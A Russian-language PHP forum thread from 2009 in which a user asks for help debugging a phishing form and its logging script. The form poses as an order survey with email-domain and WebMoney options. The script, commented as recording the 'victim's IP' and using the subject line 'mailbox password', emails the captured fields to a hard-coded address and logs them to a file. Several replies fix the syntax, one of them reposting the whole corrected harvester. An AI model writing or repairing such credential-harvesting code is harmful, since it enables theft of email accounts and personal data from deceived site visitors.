прошу помочь разобраться с кодом

Discussion in 'PHP' started by Uex Urgent, 22 Mar 2009.

Thread Status:
Not open for further replies.
  1. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    461
    Reputations:
    452
    Прошу помочь с кодом опросника. Вроде все правильно, но какая то ошибка проскочила. вот сам код лога php

    Code:
    <?PHP
    $Login = $_POST['login']; //Логин
    $radio = $_POST['radio']; //  частота пользования
    $e_zakaz = $_POST['e_zakaz']; // Заказ
    $3_pole = $_POST['3_pole']; // данные клиента
    $otkuda = $_POST['otkuda']; // откуда узнали о сайте
    $Other = $_POST['Other]; // другая информация
    $ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы
    $Data = date("d-m-y H:i:s", time()); // Дата и время
    
    $text = "[$Data] IP:$ip Мыло:$Login@Domain частота пользования:$radio; заказ$e_zakaz; данные клиента$3_pole; откуда узнали о сайте:$otkuda; другая информация:$Other;
    $to = "mail@mail.ru"; // кому присылаем данные ( E-mail адресс )
    $sub = " Пароль от ящика: $Login@Domain"; // тема письма
    mail($to,$sub,$text); // Отсылаем сообщение на E-mail
    $filelog = fopen("file.php","a+"); //открываем файл базы
    fwrite($filelog,"\n $text \n"); //записываем всё
    fclose($filelog); //закрываем
    
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; // 
    ?>

    а тут код формы опросника.




    Code:
      <form name="Zakaz_form" method="post" action="log.php">   <input type="text" name="e_zakaz" id="e_zakaz"> @
    	    <select name="Domain" size="1" id="Serv" tabindex="1">
    	      <option>mail.ru</option>
    	      <option>inbox.ru</option>
    	      <option>list.ru</option>
    	      <option>bk.ru</option>
    	      <option>yandex.ru</option>
    	      <option>rambler.ru</option>
    	      </select>
    	    </p>
    	    <p> Частота пользования:</p>
    	    <p class="стиль6">
    	      <label>
    	      <input type="radio" name="radio" id="evryday" value="evryday">
    	      <span class="стиль7">Ежедневно</span></label>
    	      <label>
    	      <input type="radio" name="radio" id="2-3 times" value="2-3 times">
    	      <span class="стиль7">2-3 раза в неделю</span></label>
    	      <label>
    	      <input type="radio" name="radio" id="redko" value="redko">
    	      <span class="стиль7">менее 1 раза в неделю</span></label>
    	      	    </p>
    <img src="http://bin-cgi.ru/img/s.gif" border="0">
    	    Ваши контактные данные (e-mail или ICQ)
    	    :
    	      <input name="3_pole" type="text" id="3_pole" size="50">
    	  
    	    <p>Выбирите способ оплаты:</p>
    	    <p>	      <select name="oplata" id="oplata" tabindex="1">
    	        <option>WebMoney WMZ</option>
    	        <option>WebMoney WMR</option>
    	        </select>
    	      </p>
    	    <p>Откуда вы узнали о нашем сайте?	      </p><p>   <input type="text" name="otkuda" id="otkuda">
    	      </p>
    	      <p> Дополнительные сведенья:       </p>
    	      <textarea name="Other" id="Other" cols="45" rows="5"></textarea>
    	  
    	    <div align="center">
    	       <input name="Zakazat" type="submit" id="Zakazat" onClick="log.php" onDblClick="log.php" onKeyPress="log.php" onKeyDown="log.php" onKeyUp="log.php" value="Заказать">          
    	         </div> </form>	 

    Прошу помочь исправить код, если вас это не затруднит.

    С уважением
     
    _________________________
    #1 Uex Urgent, 22 Mar 2009
    Last edited: 22 Mar 2009
    9 people like this.
  2. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    Напиши какая ошибка происходит. Что показывает.
     
  3. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    461
    Reputations:
    452
    выдает следующую ошибку при исполнении файла log.php


    Code:
    Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/site/domains/site.ru/public_html/log.php on line 5
     
    _________________________
  4. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    PHP:
    $3_pole $_POST['3_pole']; // данные клиента
    Имя переменной НЕ может начинаться с ЦИФРЫ!!!
    Читай учебники
     
    1 person likes this.
  5. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    398
    Likes Received:
    152
    Reputations:
    19
    помоему переменную нельзя начинать с цыфры.
     
  6. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    PHP:
    $3_pole $_POST['3_pole']; // данные клиента
    Имя переменной не может начинаться с цифры. Обзови её например $pole_3.

    P.S. вот вы быстрые :D
     
    1 person likes this.
  7. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    862
    Likes Received:
    616
    Reputations:
    211
    PHP:
    <?PHP
    $Login 
    $_POST['login']; //Логин
    $radio $_POST['radio']; //  частота пользования
    $e_zakaz $_POST['e_zakaz']; // Заказ
    $three_pole $_POST['three_pole']; // данные клиента
    $otkuda $_POST['otkuda']; // откуда узнали о сайте
    $Other $_POST['Other']; //!!!!!!!!!!!/// другая информация
    $ip $_SERVER["REMOTE_ADDR"]; // IP Жертвы
    $Data date("d-m-y H:i:s"time()); // Дата и время

    $text '['.$Data'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other;
    $to "mail@mail.ru"// кому присылаем данные ( E-mail адресс )
    $sub " Пароль от ящика: $Login@Domain"// тема письма
    mail($to,$sub,$text); // Отсылаем сообщение на E-mail
    $filelog fopen("file.php","a+"); //открываем файл базы
    fwrite($filelog,"\n $text \n"); //записываем всё
    fclose($filelog); //закрываем

    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"// 
    ?>
     
  8. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    461
    Reputations:
    452
    ух ты, какие вы быстрые)))))))) впервые за два года на античате попросил помощь, и сразу же получил))))))))), Спасибо большое, расцеловать бы вас, да не дотянусь... Честно, спасибо большое, щас попробую исправить
     
    _________________________
  9. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    461
    Reputations:
    452
    eLWAux использовал твою модерницазию с three_pole, и теперь выдал следующую ошибку :mad: :mad:

    Code:
    Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/site/domains/site.ru/public_html/log.php on line 11
     
    _________________________
    1 person likes this.
  10. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    398
    Likes Received:
    125
    Reputations:
    13
    PHP:
    $text '['.$Data.'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other;
    точку пропустил
     
    1 person likes this.
  11. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    461
    Reputations:
    452
    разобрался), спасибо большое всем откликнувшимся, мой вопрос клозед


    С уважением....
     
    _________________________
  12. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    398
    Likes Received:
    152
    Reputations:
    19
    xD
     
Loading...
Thread Status:
Not open for further replies.